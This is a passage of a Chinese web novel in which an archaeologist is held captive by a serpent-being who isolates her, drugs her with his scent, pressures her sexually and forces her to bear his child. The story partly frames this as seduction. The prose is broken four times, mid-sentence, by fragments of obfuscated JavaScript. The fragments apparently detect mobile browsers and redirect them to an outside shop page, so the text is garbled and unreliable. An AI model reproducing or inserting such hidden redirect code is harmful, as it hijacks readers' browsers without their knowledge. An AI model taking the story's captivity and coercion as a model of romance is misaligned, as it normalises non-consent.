任志国终于忍无可忍,抓着一份文件砸在何真身上,“那你就去问上面的人!为什么故意不让她做破译,又为什么选了她……”最后一句话,任志国生生忍了下来,没有说完,只是愤怒地瞪了一眼何真,仿佛在怪他,为什么要逼问自己。 何真被任志国赶出门外,但他依旧不解,满心疑惑。 因为他实在想不出来,师妹辞职的理由是什么! 虽然她被禁止参与破译工作,但其实教授一直都知道,师妹早就偷偷去过山上的临时工作室,偷看到了石刻《天问书》,门板上的缝隙,还是自己一点点挖出来的呢,还故意修整了一番,避免被师妹看出,是故意为她挖的。 何真心里想着,困难是暂时的,目前师妹只能偷看到《天问书》的些微细节,但之后哪一天,说不定上面就松口了,同意让她参加破译,毕竟只有她才是这方面的专家呀! 她怎么就辞职了呢! 教授也不肯说她辞职的原因。 何真苦恼地边想边往山上走去,直到碰到了另一位同事,也聊起了这件事情。 同事神神秘秘地凑近他,压低了声音:“你没发现,殷家那位,也不见了吗?” 何真茫然地摇摇头:“我关注他干嘛呀?不见就不见了呗,天天盯着我们,跟监工似的!一点也不自在!” 同事用一副恨铁不成钢的眼神看着他,“你傻啊!我的意思是,秦颂跟殷家人走了!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242813|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何真听完后吓了一大跳,“不可能!好端端地,小颂为什么要跟他走?难道是被绑架了?” 同事更无语了:“你师妹是去过好日子了,是去当少奶奶了。” 何真终于明白了他话里的意思,但依旧用力地摇了摇头,“不可能,师妹不是那种见钱眼开的人,在她心里,永远是事业最重要。” 何真这番说的是自己的心里话。 师妹长得确实漂亮,又有气质,人还聪明,性格也好。 他俩是一个院校出来的,师妹从来就不缺追求的人,追她的人之中,也从不缺乏有钱有权的男人,但师妹从不动摇,一心一意专注在自己的学业之上。 同事拍了拍何真的肩膀,“就算你的师妹不愿意,但是被殷家人看上了,还由得她拒绝吗?” 何真茫然地望向自己的同事,同事一脸同情地望着他,“傻小子,殷家人看你师妹的眼神从来就不单纯。” “也就是你傻乎乎的,啥也没发现。” 何真傻愣愣地摇着头,“就算是这样,师妹也一定能想到办法,拒绝他的……” “师妹一直都很聪明,很坚毅。殷家人不会得逞的。” 此时此刻,何真嘴里聪明又坚毅的师妹秦颂,正被困在殷家古楼里,被殷九斯那番男人生子的话,震撼得久久说不出话来。 什么意思?殷九斯还想跟她有孩子? 光是想想,秦颂就要被恶心得吐出来了。 她脸色青一阵白一阵,“给我一个理由,我这样不清不楚地被你带到这个鬼地方,又莫名其妙听你说了这么多话,自以为是地把我的人生给安排好了,到底是为什么?凭什么是我?” 殷九斯的气息扑在她的脸上,温热的草木味道,带着腥甜。 这两天下来,秦颂已经熟悉了这个气味,但依旧觉得恐惧与恶心,闻到这个味道,就会让她立马竖起警惕心,浑身紧张。 “没有为什么,我一眼就认定了你,没有理由。”殷九斯的眼睛专注地望着她,瞳孔变成了人类的模样,黑沉沉地,却又很鬼魅。 “要多久?” 殷九斯没有马上回答她的问题,秦颂又接着追问,“要多久,你才会换下一个人?” 秦颂想知道被迫待在殷九斯身边的时间期限,哪怕是犯人,都有出狱时间吧。 更何况,殷九斯是一位活了足够长时间的“神”,他总会有厌倦自己的一天。 如果真的无法逃脱,那秦颂就决定熬下去,熬到被殷九斯厌弃的那一天,她有足够的耐心。 况且自己还能同时继续研究古物古代文化。 秦颂苦中作乐地想着,也算有收获了。 “永远。” 秦颂惊愕地望着他,不敢相信自己耳朵里听到的话。 “你在开玩笑?不可能,这个世界上,除了血脉亲缘以外,没有永恒的关系。” “我说有就有。”殷九斯的声音冷酷不已,“我对你,是永永远远。” “直到你死的那一刻。” 12. 他是我们的孩子 秦颂一直闭着眼睛装睡,不知不觉就真的睡着了过去。直到被身边的妹妹推醒,她才猛然睁开眼睛。 “姐,我们到新家了。” 秦宜的声音让她渐渐回过了神,转头看向车窗外,然后大吃一惊。 怎么是这里? 虽然她并没有来过这个小区,可是窗外的景象,显然是个豪宅区。 宽阔的车道,修剪整齐的绿植,雅致温馨的地灯,错落有致的别墅,无不显示着住在这里的人们,非富即贵。 “这……这是哪里?我们的新家在这里吗?”秦颂迟疑地开口,妹妹秦宜已经先行下车,抱起了孩子,听到姐姐的话,笑了起来。 “对呀,就是这里,姐夫给我们买的新家呀。” 姐夫,又是殷九斯?! 秦颂坐在车里,一动不动,看着父母已经先踏入了别墅大门,里面似乎有一个保姆,正站在门后笑着跟自己父母说着话。 “姐,怎么不下车了?”看到秦颂没有下车的打算,秦宜有些担忧地观察她的脸色,“是不是还难受呢?要不要去医院?” 秦颂勉强笑着摇了摇头,“我没事,走吧。” 说着打开了车门,跟在秦宜身边,往陌生的新家走去。 迈入那扇门后,果不其然一位保姆正站在门后等着她们。 秦宜说这位保姆也是殷九斯给家里人雇的,平时主要负责照顾父母的生活。 “妈妈去年做手术之后,身体就一直不是很好,有了阿姨照顾,我也放心多了。”秦宜笑着跟保姆介绍秦颂,“张阿姨,这就是我的姐姐,之前她一直在外地工作,如今终于有空能回家一趟了。” 秦颂淡笑着跟阿姨打了声招呼,接着又问妹妹,“妈怎么了?做什么手术呢?” 秦宜先让阿姨把怀中的女儿带回婴儿房,然后拉着姐姐的手,走上二楼,压低了声音。 “妈去年查出长了个瘤子,当时我们都急坏了,还好是姐夫帮忙,介绍了医生,还给妈安排好了住院以及手术。” “姐夫没告诉你吗?”秦宜有点惊讶,但很快又想通了,“估计是不想让你担心,你那会儿应该还在项目组里,忙着考古呢。不过也没事,妈现在也好好的,多亏了姐夫呀。” 秦宜感慨道,“如果不是他,我们也约不到那么好的医生,妈也不能恢复那么快。” “姐夫是既出力又出钱了,这两年家里大事小事,其实都是他在帮忙操心。” 姐妹俩走到二楼一间房门前,秦宜推开门,“姐,这就是你的卧室,你的东西我们都搬过来了,一点没乱动。” 这是一间宽敞明亮的卧室,带有卫生间,房间内铺着柔软的浅色地毯,家具用的也都是上好的实木家具,落地台灯正散发着柔柔的暖光,轻风拂动着米色纱帘,吹来屋外暴雨过后的泥土清香。 矮柜上摆放着他们一家四口的合照,照片是四五年前全家去普吉岛旅行时照的,那时秦颂刚考进考古院,为了庆祝,爸爸拿着自己的奖金请全家人去旅行。 也就是那次旅行,秦颂在海岛上差点被蛇咬到,从此以后,她对蛇便产生了挥之不去的阴影以及厌恶恐惧。 秦宜注意到姐姐的视线,也看到了那张全家福,她笑了笑,“妈妈说你一定会喜欢这张照片的,所以就摆在了这里。她还说可惜没有你的结婚照,要不也摆上去。” 结婚照? 呵,秦颂恨不得掐死殷九斯。 怎么可能会有跟他的合照。 秦宜察觉到姐姐的脸色一下子就冷了下去,她虽然不知道到底发生了什么,但还是很关心姐姐的一切。 “姐,你跟姐夫,是不是闹矛盾了呀?”秦宜小心翼翼地开口,“感觉你这次回来,听到姐夫,就很不高兴……” “他不是你的姐夫。” 秦颂冷冷开口,眼中情绪冷漠。 秦宜怔住,意识到姐姐的情绪不对劲,她也不敢再多说什么。 “姐,那你先洗个热水澡,好好休息吧,明天我来喊你吃早饭。” 说完,秦宜便轻轻关上门,留下秦颂一个人独处。 秦颂抚额叹气,坐在床沿,发了一会儿呆之后,就站起身,走到窗边去拉窗帘。 窗外不远处的车道上,一辆黑色豪车的身影,一闪而过。 秦颂愣住,然后拉上了窗帘。 秦颂拿出自己的手机,找到任教授的号码,打了过去。 许久之后,电话终于被接起。 “是小颂吗?”电话那头,任教授熟悉的声音响起,却又带了几分沉重与沧桑,“你……回来了?” 看来任教授知道一切。 秦颂心底忍不住冷笑,随之而来的是一阵悲哀。 “是我。” 任教授叹息,“回来了就好,回来了就好……”他翻来覆去重复着这一句话,久久之后,他才说道,“当年的事,是我没用,我……” “教授,不怪您。”秦颂轻声阻止他的话,“我们谁都没有本事,能够去阻拦他们。” 电话那头一阵沉默。 最后是秦颂主动开口。 “教授,您知道殷家人,到底是什么人吗?” “这话什么意思?”任教授的声音里带着淡淡的疑惑,“你是指殷家背后的势力?还是他们的关系网?殷家自然不是普通人……” 秦颂快速打断他的话,“我不是这个意思。我是说,您知道,殷家人不是人吗?” 任教授大吃一惊,“这是什么话?不是人那是什么?” “他们是怪物!他们可以变成蛇瞳,他们受了伤不会死掉,伤口会在瞬间自愈,他们还能男人生子!”秦颂越说越激动,“这一切都是我亲眼所见!” 对面又久久没有动静,显然被秦颂这番话震惊到了。 “教授,我们可以见一面吗?”最后,秦颂提出了请求。 “我这里有一份越朝资料,您一定会感兴趣的。” 秦颂知道,自己迟早会被殷九斯找到,她逃不掉的。 但至少在再次被抓回那个阴冷山洞之前,能把手上这份资料送出去。 任教授是自己的老师,秦颂不敢赌他的人品如何,只能赌他对于考古事业的热爱,自己手上这份资料,足以令任教授痴迷,并愿意付出一切代价来守护,或传播出去。 夜静了,也许是下午睡的时间比较长,导致秦颂此时全无睡意。 她坐在桌子边,整理手上的资料。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242814|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被困殷家古楼以及老宅两年,她其实得到了许多资料,以及做研究的机会,殷九斯不会干涉她做这些事情。 只是会在一旁,用那种冰冷中带着嘲讽的微妙表情看着她。 放佛在看小孩子玩办家家游戏,觉得幼稚又有趣。 秦颂不去理会他,心无旁骛地做自己的事,很快便沉浸在自己的世界中,任由时间流走。 这份资料,秦颂会交给任教授一份, 而另一份,她打算悄悄留给妹妹。 妹妹并不清楚她的工作,但是对于自己看重的事情,妹妹也很会看重。 这就是家人。 如果任教授拿到自己的资料后,没有公诸于世,那么秦颂会让妹妹找到一个合适的时间点,把资料公开。 想到殷家的那些事情,秦颂又忍不住一阵心烦意乱,随后她双指按住自己的太阳穴,闭上眼睛,心中默念“平心静气”,念了好几次,深呼吸了好几次,终于稍微冷静了下来。 就在她情绪刚平复下来的时候,一楼大厅的门铃忽然响了起来,隔着厚重的门板,一直传到秦颂耳中。 “叮咚——叮咚。” 秦颂的心揪紧了起来,她联想到自己拉窗帘时,窗外一闪而过的黑色车影。 这么快吗?他就找上门来了? 不可能的,自己按照古书秘术刺破了他的眼睛,还抽出了他的蛇髓,他起码要躺上几个月,才能苏醒。 那时殷九斯刚产下蛇婴没多久,每日都需要精心照顾孩子,秦颂不肯亲近那个怪胎,只要殷九斯抱着孩子靠近她,她就尖叫着挣扎,殷九斯便带着蛇婴住在殷家老宅中。 刚生下来的婴儿,尾椎处还留着短短一截粉色的蛇尾,殷九斯知道秦颂怕蛇,于是每日都用襁褓将孩子裹好,只露出一张可爱粉嫩的婴儿脸庞。 但秦颂还是不愿去看。 “真恶心。”秦颂冰冷地望着父子俩,嘴角挂着嘲讽的冷笑。 殷九斯并不恼怒,眼神温柔地望着怀中的孩子,然后抬眸看向秦颂,“他是我们的孩子。” “他是怪物,不是我的孩子。”秦颂语气不变,“又或许,他只是一个你从别处抱来的野种罢了。” 虽说九婴族是雄性产子,但其实秦颂并没有亲眼看见。 只是某一天,殷九斯独自走进了一个房间里,再出来的时候,面色苍白,怀中就抱着这个蛇婴。 这番话一出,殷九斯的眼神就变了,他抱着孩子,朝秦颂走近,压迫感很强。秦颂望着他的表情,身子往后缩了缩。 “不要再说这样的话。”殷九斯轻声说道,“宝宝听见,会不开心的。” “我也会不开心。” 他怀中的婴儿咿呀咿呀叫了起来,小手挥动着,他低头笑了笑,再抬起眼睛的时候,威慑力十足。 “抱抱他。” 殷九斯语气中是不容拒绝的强硬,同时他把怀中的婴儿往秦颂胸前一放,秦颂被迫抱着婴儿。 殷九斯的双手改成怀抱住她。 就这样,秦颂抱着孩子,殷九斯抱着她,三个人被迫形成亲密的姿势。 殷九斯满意地笑了。 “我们一家人,就应该这样。” 13. 引诱 关于这个孩子是怎么来的,对于秦颂来说,也是一场噩梦般的回忆。 殷九斯确实从来没有强迫过秦颂,但他一直在引诱自己。 没错。 引诱。 男人有着近乎一米九的身高,完美的身材比例,腿长窄腰,腹部一层薄肌,肌肤细腻苍白,手指修长关节却略微粗糙,矜贵却又不疏离的味道。 他每天就坐在房间里的那把玫瑰椅上,长腿交叠,姿态闲适,翻阅着手中的文件,有时是平板,他会拿着触控笔在平板上勾勾画画。 相比之下,秦颂的日子就很不好过。 她的手机全无信号,殷九斯也不让她接触任何电子产品。 她每天的娱乐,就是坐在房间里发呆,或者在古楼里四处走动,研究楼里摆放着的古物。 秦颂知道,殷九斯这是在故意磨她的性子,逼她到忍不了的那一天。 每天能看见的活人,就只有殷九斯一个。 久而久之,秦颂就会对他产生惯性依赖,从而渐渐放下心防,靠近他。 殷九斯身上的奇异香味,也日渐浓重。 那是一种混合着寺庙佛香、雨后青苔,以及降香黄檀的味道。 秦颂曾经听说过,妖物会散发香味,引诱人类,殷九斯身上的味道,也许就是如此。 但秦颂没有真的被这阵香气迷晕过,或者被迷到意志凌乱。 “你身上是什么味道?” 有一次,秦颂终于忍不住问了出来,殷九斯拿着文件从她面前走过的时候,她抬手捂住鼻子,微微皱眉。 殷九斯的目光戏谑地扫过她捂着鼻子的动作,“什么味道?我闻不到。” 秦颂往他身边走近一步,那个味道就更浓郁了,秦颂受不了地捂紧口鼻。 “下次能不能别再喷香水了,味道太浓了,受不了。” “哪有味道啊。”殷九斯语气慵懒,抬起双臂朝秦颂靠近,“你来闻闻,然后告诉我,到底是哪里的味道。” “衣服上,还是。”殷九斯的身体完全贴近秦颂,他的气息扑在秦颂脸侧,语气暧昧,眼神别有深意,“身体上的味道。” 殷九斯的靠近,让秦颂清楚地感知到了,那股奇异香味的来源。 是他的皮肤。 温热的皮肤下,似乎正在源源不断散发着这股香气。 “是你的皮肤……”秦颂的情绪忽然就镇静下来了,有些迷迷糊糊地望着面前的男人,“这味道不对劲,我突然好困……” 殷九斯低低笑了起来,他伸出一只手,手指轻轻抬起秦颂的下巴,令对方不得不直视他的眼睛。 “困吗?我身上的味道还能令你无比快乐,想要吗?” 秦颂伸出双手,紧紧抓住殷九斯的上衣,他的衣服材质不知道是什么,又滑又暖,自己必须用尽全部的力气抓住,才能不跌在地上。 身上似乎也没有力气了…… “我不要……”秦颂咬紧牙关,才说出这句话,她觉得越来越困,眼睛都要睁不开了。 这条妖蛇,果然会邪术……他身上的香味可以控制自己。 香味渐渐淡去,秦颂身上的困意似乎一下子就散退了,她又变得清醒了。 她的眼神从笼罩着迷雾般的迷糊状态,恢复成清明无比,看清了面前男人的神情。 殷九斯的表情依旧很冷淡,但是他的脸离秦颂很近很近,近到他的唇几乎是贴着秦颂的耳朵在讲话。 “这是蛇香,可以让你放松精神,不然你以为,每天晚上都能睡得那么香是为什么?” 殷九斯笑了起来,笑意冰冷,手指用力,捏紧秦颂的下巴。 “我说过不强迫你,就不会真的对你动手。毕竟只是稍微控制一下蛇香,就能令你意乱情迷了。” “但我还是会等你心甘情愿的那一天。” “我有的是耐心。” 原来殷九斯身上的味道,是故意放出来放松秦颂紧绷的神经的。 秦颂心中冷笑,害她精神紧张的不就是殷九斯吗? 装什么好人。 男人向来都是自以为是,狂妄自大的。 秦颂用力推开殷九斯,没想到对方腰腹核心力量不是一般的强,双腿稳稳站在地面上,秦颂常年都有健身的习惯,居然有点推不开他。 “我永远都不会跟一条蛇……”秦颂有些恶心,顿了顿,又继续说道,“发生什么的。” 殷斯九不以为然,松开了她,“你现在已经跟一条蛇在一起了。” “我是被你囚禁在这里的。” 秦颂眼神冰冷,话语中的情绪也充满了愤怒。 “对啊。”殷九斯居然还有脸笑出来,他脸上的笑容在秦颂看来,充满了恶意的挑衅,而他的话,令秦颂的愤怒更加旺盛了。 “我不仅囚禁你。” “我还要你跟我生孩子呢。” 殷家古楼一共三层,殷九斯从不限制秦颂的脚步,她想去哪里都可以。 秦颂每天就在古楼里转悠,令她奇怪的是,偌大的古楼里,居然只有一个睡房,也就是她住的那个。 其余的房间,似乎都具备了别的功能。 如会客、阅读学习、品茶、祭祀等。 而更让秦颂好奇的是,她所居住的房间里,是有水电的。 在这深山溶洞中,水电是如何打通的呢? 但转念一想,殷九斯都说自己的妖怪了,也许殷家人就是有办法吧。 秦颂一直不肯承认殷九斯是所谓的“神”,她宁愿相信,殷九斯是妖怪。 神是慈悲的,而不是像殷九斯这样冷血无耻。 睡房里有一间浴室,但是浴室居然没有门。 秦颂忍无可忍,找来一张床单充当门帘。 但即便这样,殷九斯每次都视那门帘如无物,长腿迈进浴室就开始脱衣冲澡,也不拉帘子,完全不在乎秦颂能看见他的身体。 浴室昏黄的灯光下,水流冲刷过殷九斯的上半身,水珠沿着他的背肌向下流走,殷九斯单手撑在浴室墙壁上,另一只手抓着额前的碎发往后顺,露出光洁的额头,乌睫被打湿,水珠滑落脸庞,浓密的黑色睫毛,在水雾中湿漉漉的。 秦颂不小心看到了一眼,便立马移开了眼睛。 “把帘子拉上。” 她扭过脸,声音硬邦邦的,带着命令的语气。 殷九斯低笑,“为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242815|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我允许你看我的身体。” 他居然还好意思问为什么。 秦颂冷嗤,果然不论种类,只要是男的,公的,都自信满满。 “我不想看你的身体,毫无看头。” 殷九斯声音慵懒,混合着浴室的水汽,朦胧而遥远。 “既然是你自己不想看,那你就自己来拉上。” 想得倒美,这条蛇肯定在心里憋着坏,保不准等秦颂靠近浴室时,就会一把把她拉进去。 秦颂懒得再出声,爱拉不拉,她坐进床铺深处,厚重的床帏遮挡住她的视线,隔绝了她与浴室的接触,秦颂拿出今天在二楼找到的古书,开始认真读起来。 不知过了多久,浴室的水声停了,秦颂沉浸在古书之中,浑然未觉,直到一具还带着湿气的身体忽然从身后贴近了她,男人的声音在她耳边响起。 “在看什么?这么认真。” 秦颂被突如其来的声音吓了一跳,连忙把书页朝下扣住,整个人慌乱转身,却不料,映入眼帘的是殷九斯精致的锁骨宽肩,以及仍有水珠从上面缓缓滑落的胸肌。 “你、你干嘛不穿衣服!”饶是素来淡定的秦颂,也不由得涨红了脸,大声地质问着殷九斯。 殷九斯挑了挑眉,“穿了呀。”说罢抓起秦颂的手就往他身下探去,秦颂惊慌地喊叫了一声,想往回拉自己的手,却敌不过殷九斯的力气,被迫把手按在殷九斯的身下。 “你摸,我穿了裤子的。”殷九斯语气戏谑,好笑地望着秦颂脸红的模样。 秦颂的手确实触碰到了布料的质地,但是那布料极薄,穿了跟没穿一样,秦颂感觉自己的手,就跟直接触摸殷九斯的皮肤一样。 而且更令她难受的是,隔着薄薄的布料,秦颂能够辨认出,她手掌下面按着的,是殷九斯的…… 秦颂的眼睛左看右看,都逃不开殷九斯的□□。 她转念一想,自己又没有做什么亏心事,为何要逃避直视面前这幅身体。 该羞愧的不是她。 况且肉体凡胎,都一个模样。 即便殷九斯不是人,又能长成什么样子呢? 想到这里,秦颂眼神冰冷地回望着殷九斯,从他的身体,到他的脸。 不得不说,他确实长了一副好模样。 俊美而不阴柔,英气而不刚硬。 尤其是那双眼睛,深邃而情绪复杂…… 不对,怎么又陷入他的眼神中去了?! 秦颂移开眼神,不与他对视。 这妖物的眼睛能迷乱人的心智。 他在引诱她。 引诱。 秦颂终于确认了。 他是故意的。 “把我的手放开。”秦颂带了怒气,想要抽回自己的手。 殷九斯一把放开她,猝不及防之下,秦颂狼狈地跌落在床铺之中。 殷九斯双膝跪在床中,腰背挺直,湿发水珠滴落,居高临下地望着趴在床上的秦颂。 他久久未动,秦颂也不动,只是警惕地看着他。 “你要干什么?” 殷九斯闻言笑了起来,那笑意却让秦颂不寒而栗。 “干你。怎么样?” 14. 兄弟相争 秦颂对于殷九斯这番露骨直白的话,毫无反应。 殷九斯时常说这样的话来挑战她的接受程度。 “你敢动我一下试试。” 秦颂冷冰冰地回答道。 殷九斯伸出干燥的手指轻轻触碰秦颂的脸颊,他忍不住轻轻叹息,“好软。” “人类的皮肤总是那么柔嫩。” 殷九斯的皮肤虽然看起来很苍白,会让人误以为他是养尊处优的贵公子,但实际上他的皮肤相对于秦颂来说,甚至有些粗糙。 带着某种动物皮肤的特性。 秦颂用力扭过头,躲避他的进一步触碰。 殷九斯已经习惯了她的拒绝,不以为意,跟她也闹够了,便长腿一迈,走下床,去衣帽间换上睡衣。 俩人每天晚上都挤在同一张床上入睡。 古楼里就这一张床,殷九斯自然不会愿意睡地上,秦颂也不肯睡地上,自己无缘无故被囚禁在这里,凭什么还要受罪吃苦,只不过跟男人躺在一张床上罢了,又不会少块肉。 每天晚上,她都会用被子在俩人之间隔绝出一道分界线,不允许殷九斯越界。 但早上醒来的时候,那床被子往往都会不翼而飞,不是被她踢到床底,就是歪七扭八地横在自己身上。 而殷九斯通常会比自己醒得更早,就总是带着一副似笑非笑的表情看着她。 好像在嘲笑她做的无用功。 在古楼里重复着不变的生活,日复一日,不知不觉中,半年就过去了。 秦颂比殷九斯预料的还要心性坚定,她没有崩溃,没有情绪失控,每天都面色如常的起床,吃饭,抱着一本笔记本在古楼里转悠,写写画画记录着什么。 除了偶尔会被自己气得脸色涨红。 每天秦颂都会跟着殷九斯在山洞里走上一段绕来绕去的路,一直走到能够看见阳光的地方。 那是一个深不见底的天坑,阳光就从山顶的大裂缝中洒下来,秦颂只能站在天坑底下享受难得一见的天色。 殷九斯也从不担心她会逃走,因为天坑周围石壁陡峭,别说秦颂徒手爬不上去,即便给她一套专业的攀岩设备,她也很难爬到几乎要有十层楼高的天坑顶部。 殷九斯每天就像带自己的宠物出来放风似的,把秦颂带着天坑底部之后,自己就坐在一旁的石头上继续看文件。 秦颂每每看到这一幕,都觉得很可笑。 自己被这个男人困在这个不通水电没有信号的鬼地方,他居然还能每天处理外界的事务文件。 他是可以跟外界联系的,但自己从来没有发现过,他在什么时候,用什么方式与外界取得联系。 毕竟自己可是每天,每时每分都跟他待在一起。 “我可以跟家里人打个电话吗?或者跟任教授通信也行。”秦颂曾这样哀求过殷九斯,“任教授是你们的人吧?我跟他通信绝对安全。” “我说过,只要生下孩子,我就会带你出去。”殷九斯不紧不慢翻看着手中的文件,“到时候你想做什么都行。” 秦颂想不通了,孩子就那么重要?那他为什么不去找个愿意生的人呢? “我凭什么相信你的保证?” 殷九斯从文件里抬起头,眸色暗沉,“你可以不相信,然后继续在古楼里住着。” “九婴的寿命很长,我有的时候陪着你。” “对了。”殷九斯似笑非笑地望着他,“如果你愿意早日与我结合,那么你也可以获得无尽的寿命。” “不死不灭。” 秦颂吃惊,惊疑不定地望着殷九斯那张妖异俊美,完全看不出年龄感的面孔。 “你有多少岁了?” 殷九斯认真地想了想,“刚满两百岁吧。” “既然你们能不死不灭,那岂不是满世界都是你们的族人?”秦颂难以想象,这个世界上,居然存在那么多的妖怪,而且就生活在他们周围。 并且还拥有着滔天的权势,在这个世界里肆意生活。 “九婴族繁衍后代艰难,能找到契合的伴侣很难,找到伴侣之后,孕育后代也很难。” 殷九斯说这话,眼神又移到秦颂身上。 “但你就很合适。” “你不仅跟我契合,我们还能顺利孕育出最健康最聪慧的下一代。” 秦颂刚想张嘴嘲讽回去,殷九斯像是知道她要说什么话一样,立马堵住了她的话头。 “因为我能闻出来,你身上的气息,是不一样的。” 秦颂原本坐在远离殷九斯的一侧石头壁上,晒着太阳,但这会儿阳光的暖意却无法达到她的心底。 她内心一阵阵泛冷,殷九斯这是把她当成生育工具了?看中她的身体,只为了能够顺利繁衍下一代。 “那令你失望了,我是不会跟你结合的。” 甩下这一句话之后,秦颂便背过身子,不再理会殷九斯,专心看着自己刚从古楼里翻找出来的书。 这一看,就令秦颂有了新的发现。 这是一本记载了上古人类的灭神故事。 越朝建立后,人神混居,既为人类带来了生活上的改善与便利,但同时也带来了无法控制的危害后果。 神性本恶,混沌之中,无法分辨行事章程。 和夷国覆灭之后,传说依旧有神出没与人间,所到之处,灾祸不断。 人们为了能够安居乐业,获得平静的生活,便想出了许多杀神的方法。 秦颂一页页地翻看着,想要找到自己最想看到的那个方法。 终于,她看到了那一行令人激动的字。 “杀蛇神法”。 秦颂生怕自己全神贯注看书的时候,殷九斯会悄悄来到她身后,所以她转了个方向,面朝殷九斯,这样两人之间隔着一大段距离,他有任何动作,自己都能快速捕捉到。 “在看什么?”殷九斯倒是很敏锐,发现了她的异常行为。 “平时恨不得离我远远的,这会儿突然面朝着我,在偷偷看什么呢?” 细碎的金色阳光之下,殷九斯那张白玉般的面孔,被照得近乎透明,墨一样的黑发,睫毛,瞳孔,脸部颜色的反差,令他更像是一尊从天而降的天神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242816|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>带着极具距离感的圣光与冰冷的气息。 因此当他用一种轻飘飘的语气说出这番话的时候,秦颂便有些微微出神了。 再一次被他蛊惑到。 直到那股独属于殷九斯的冷香味窜入秦颂的鼻腔之中,她才清醒过来。 男人已经起身往她这边走来,秦颂一个激灵,连忙把书合上,装进自己随身带的小包里。 “你藏什么?这么心虚?”殷九斯迈出两三步,就已经来到秦颂面前,好笑地看着她的动作。 秦颂不想回答他的问题,所以转开了话题,眼睛看着他手里夹带的平板。 “可以让我看看你的平板吗?”秦颂抬起眼睛,努力扮演出一副哀求的模样。 殷九斯几乎没有半秒犹豫,抬起手就把平板递到她面前,秦颂连忙接过,按下亮屏键。 她看了眼右上角的信号标识,发现这台平板是没有连接任何信号网络的。 平板里正打开某个app的后台,页面显示全是看不懂的文件资料,秦颂翻看了几页,便退了出去,回到主屏幕,然后她失望地发现,殷九斯这台平板里,除了工作软件,就什么都没有了。 “看完了吗?”殷九斯看到了她脸上失望的表情,没有任何反应,把平板拿了回来。 “你是怎么跟外界联系的?”秦颂问出疑惑,“你每天都跟我在一起,不打电话,不见人,就是拿着这台没有信号的平板电脑工作。” 秦颂心里有了一个猜想,“还是说,古楼的某个地方是有信号的,只是你从来不告诉我,对吗?” “这些答案对你来说不重要。” 殷九斯只是给了她这样一个回答,然后伸出手,准备把她从石壁平台上签下来,“天色不早了,回去吧。” 秦颂沮丧地跟在他后面回了古楼,没想到,居然看见了除他们以外的第三个人。 那是一个跟殷九斯一样,外形苍白俊美的年轻男人,只不过他的头发更短,几乎是贴着头皮剃的寸头,整个人的气质更阴冷不羁。 秦颂看见他的时候,他正在坐在睡房内的玫瑰椅上,手里把弄着秦颂前一晚扔在上面的睡裙。 “你怎么在这里?”几乎是看见陌生年轻男人的第一秒,殷九斯的面色便冷了下来。 陌生男人嘴角挂着冷笑,眼神却是直勾勾看着秦颂。 “这就是你选的伴侣?”他的手上还轻挑地握着秦颂的睡裙,“都半年了,你们还没有走出古楼。” “哥。”男人转向殷九斯,语气中带着嘲笑,“你不行呀。” 原来他是殷九斯的弟弟。 “滚出去。”殷九斯话中满是冷意,“我没有完成结合之前,任何人都不能踏入古楼,这点规矩你都不懂吗?” 面对哥哥的怒意,男人似乎并不畏惧,不以为意地站起身,慢悠悠地走到了秦颂面前,然后凑近她。 “我哥不行,要不要来试试我?” 男人一双笑眼弯了起来,却同样让秦颂感到不寒而栗。 跟殷九斯一样的笑里藏刀。 “我对你也很有兴趣。” 15. 老婆可只有一个 “啪”地一声脆响,秦颂还没有反应过来是怎么回事,就看见面前的陌生男人头部猛然甩向一边,再转回来的时候,他的嘴角流下了一丝血迹,眼神凶狠地望向殷九斯。 “殷望,我再说一遍,滚出去。” 殷九斯周身弥漫着一股慑人的气质,冰冷黑暗,就连秦颂也感受到了他此刻内心的强烈情绪。 原来这个男人叫做殷望。 他刚刚,是被殷九斯打了吗? 秦颂根本没有看到殷九斯动手,而且两个男人之间还隔着不小的距离。 殷望想要说话,一张嘴却是咳出了一口血,他深深地望了秦颂一眼,最后扶着胸口,踉跄地从秦颂身边经过。 